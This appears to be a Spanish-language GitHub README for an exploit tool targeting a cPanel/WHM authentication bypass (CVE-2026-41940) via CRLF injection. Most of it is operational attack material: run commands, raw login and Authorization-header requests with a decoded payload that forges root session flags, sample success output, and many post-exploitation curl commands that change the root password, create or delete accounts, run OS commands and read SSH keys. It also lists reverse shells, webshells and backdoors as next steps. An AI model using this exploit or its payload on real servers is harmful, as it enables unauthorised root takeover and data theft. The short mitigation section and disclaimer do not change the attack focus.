
Exploit crítico de bypass de autenticación para cPanel/WHM CVE-2026-41940. Aprovecha la inyección CRLF en el daemon cpsrvd para obtener acceso root a WHM sin credenciales. Incluye detección de versiones, registro detallado (verbose logging), soporte de proxy, informes JSON y enumeración de cuentas post-explotación. Solo para pruebas de seguridad autorizadas.
Bypass crítico de autenticación mediante inyección CRLF en el daemon cpsrvd de cPanel/WHM
CVE-2026-41940 es una vulnerabilidad crítica de bypass de autenticación en cPanel y WHM que permite a atacantes remotos no autenticados obtener acceso administrativo de nivel root al servidor. La vulnerabilidad reside en el manejo de sesiones del daemon
cpsrvd, concretamente enCpanel/Session.pm, donde una neutralización incorrecta de los delimitadores de línea (CRLF) en la cookiewhostmgrsessiony en las cabecerasAuthorizationpermite la inyección de parámetros de sesión.
| CVSS Score | Tipo de exploit | Impacto | Vector de ataque |
|---|---|---|---|
| 9.8 | Bypass de autenticación | Acceso root | Red |
Este exploit proporciona las siguientes características clave:
🔓 Bypass de autenticación - Obtén acceso root a WHM sin credenciales
🛡️ Múltiples técnicas de bypass - Prueba automáticamente diferentes métodos de verificación
🌐 Soporte de proxy - Enruta el tráfico a través de proxies HTTP/HTTPS
📊 Informes JSON - Genera informes de evaluación detallados
📝 Registro completo - Modo de depuración verboso con marcas de tiempo
🔍 Detección de versión - Detecta y comprueba automáticamente versiones vulnerables
👥 Enumeración de cuentas - Lista todas las cuentas cPanel tras la explotación
🎯 Múltiples endpoints - Intenta varios endpoints de API para verificación
La vulnerabilidad se origina por dos problemas principales:
Inyección CRLF en el almacenamiento de sesión - La función saveSession no sanea los caracteres de nueva línea (\n) en el campo pass antes de escribir en el archivo de sesión, lo que permite inyectar parámetros de sesión arbitrarios.
Bypass de codificación condicional - Cuando la cookie de sesión no incluye la parte ob (el segmento después de la coma), el valor de pass se escribe sin codificar (texto plano), lo que permite la inyección de secuencias CRLF.
# Se requiere Python 3.6 o superior
python3 --version
# Instala los paquetes necesarios
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Modo verboso con salida de depuración
python3 exploit.py --target https://target.com:2087 --verbose
# A través de proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Guarda el informe y lista las cuentas
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Tiempo de espera personalizado
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
El exploit primero obtiene una cookie de sesión previa a la autenticación intentando un inicio de sesión fallido:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Respuesta:
Set-Cookie: whostmgrsession=base64_encoded_data
La cabecera Authorization manipulada inyecta parámetros de sesión maliciosos:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Payload decodificado:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
El servidor responde con una redirección que contiene el token de sesión administrativa:
Location: /cpsess1234567890/
El exploit intenta varios métodos de verificación para confirmar el acceso root.
Una vez que el exploit tiene éxito, usa los siguientes comandos con el token obtenido:
# Obtener versión del servidor
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Obtener información del servidor
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Obtener nombre de host
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Obtener promedio de carga
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Obtener uso de CPU
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Obtener uso de memoria
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Obtener uso de disco
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Hora del servidor
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Estado del servicio
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# Listar todas las cuentas cPanel
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# Listar cuentas con detalles
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Resumen de cuenta
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Información del dominio
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Estadísticas de correo
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# Configuración de PHP
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Estado del servidor
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# Información del sistema
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# Listar cuentas (alternativa)
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Mostrar procesos
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Uso de disco
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Cambiar contraseña de usuario
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Crear nueva cuenta
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Ejecutar comandos del sistema operativo
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspender cuenta
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Reactivar cuenta
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Eliminar cuenta
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Obtener información del asesor de seguridad
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Obtener información de claves SSH
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Comprobar estado del firewall
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Obtener certificados SSL
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# Listar bases de datos MySQL
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Crear base de datos
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Eliminar base de datos
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# Listar usuarios de base de datos
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
Una vez obtenido el acceso root a WHM, un atacante puede:
🔍 Listar todas las cuentas cPanel
👤 Crear nuevas cuentas cPanel
🔑 Modificar contraseñas de cuentas
❌ Eliminar o suspender cuentas
🖥️ Ejecutar comandos del sistema operativo
🔄 Cambiar la contraseña de root
📊 Ver estadísticas del servidor
🗄️ Gestionar bases de datos MySQL
🐚 Desplegar shells inversas
🌐 Instalar webshells
🗝️ Instalar puertas traseras
🔒 Crear cuentas de administrador ocultas
📁 Acceder a todos los archivos del servidor
💾 Exportar bases de datos
📧 Leer cuentas de correo
🔐 Acceder a certificados SSL
# 1. Actualiza cPanel/WHM inmediatamente
/scripts/upcp --force
# 2. Invalida todas las sesiones activas
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restringe el acceso a WHM a IPs de confianza
# Añade a /etc/csf/csf.conf
# O configura el firewall
# 4. Habilita la autenticación multifactor (MFA)
# WHM > Centro de Seguridad > Autenticación de dos factores
# 5. Cambia TODAS las contraseñas
# - Contraseña de root
# - Todas las contraseñas de usuarios cPanel
# - Contraseñas de bases de datos
# - Contraseñas FTP
# 6. Audita el sistema en busca de puertas traseras
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Busca trabajos cron maliciosos
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Comprueba las claves autorizadas SSH
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Implementa una validación estricta de entradas para prevenir la inyección CRLF
✅ Despliega reglas WAF para detectar y bloquear solicitudes maliciosas
✅ Habilita restricciones de acceso por IP para WHM
✅ Actualiza cPanel/WHM regularmente a las últimas versiones
✅ Realiza evaluaciones de seguridad periódicas
✅ Supervisa los registros en busca de actividad sospechosa
✅ Implementa el principio de mínimo privilegio
✅ Habilita el Asesor de Seguridad en WHM
✅ Auditorías de seguridad periódicas
✅ Implementa un sistema de detección de intrusiones
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Esta herramienta se proporciona únicamente con fines educativos y de investigación ética en seguridad. El autor y los colaboradores no son responsables de ningún uso indebido o daño causado por este software. Al usar esta herramienta, aceptas asumir toda la responsabilidad por tus acciones. Asegúrate de tener permiso explícito antes de probar cualquier sistema.
¡Aceptamos contribuciones! Por favor, sigue estos pasos:
🍴 Haz fork del repositorio
🔧 Crea tu rama de funcionalidad (git checkout -b feature/amazing-feature )
💾 Haz commit de tus cambios (git commit -m 'Add amazing feature')
📤 Sube la rama (git push origin feature/amazing-feature)
🔃 Abre un Pull Request
🎉 Lanzamiento inicial
🔓 Implementación del exploit de inyección CRLF
🛡️ Múltiples técnicas de bypass de verificación
📊 Generación de informes JSON
🌐 Soporte de proxy
📝 Registro completo
🔍 Detección de versión
👥 Enumeración de cuentas
📚 Comandos completos posteriores a la explotación
Aviso de seguridad - [email protected]
GitHub Issues - Crear issue
⚠️ RECUERDA: Un gran poder conlleva una gran responsabilidad. ¡Úsala éticamente! ⚠️
Hecho con ❤️ para la comunidad de seguridad
| Atributo | Valor |
|---|
| CVE ID | CVE-2026-41940 |
| Puntuación CVSS | 9.8 (Crítico) |
| Tipo de vulnerabilidad | Bypass de autenticación mediante inyección CRLF |
| Componente afectado | Daemon cpsrvd (Cpanel/Session.pm) |
| Vector de ataque | Red |
| Impacto | Acceso root completo |
| Explotación | Remoto no autenticado |
| Canal de lanzamiento | Vulnerable hasta | Versión parcheada |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Argumento | Corto | Obligatorio | Descripción |
|---|
--target | -t | ✅ | URL objetivo (p. ej., https://target.com:2087 ) |
--verbose | -v | ❌ | Habilita la salida verbosa/depuración |
--proxy | -p | ❌ | URL del proxy (p. ej., http://127.0.0.1:8080 ) |
--output | -o | ❌ | Archivo de salida para el informe JSON |
--timeout | ❌ | Tiempo de espera de la solicitud en segundos (predeterminado: 10) | |
--list-accounts | -l | ❌ | Lista las cuentas cPanel tras una explotación exitosa |
--version | ❌ | Muestra la versión del exploit |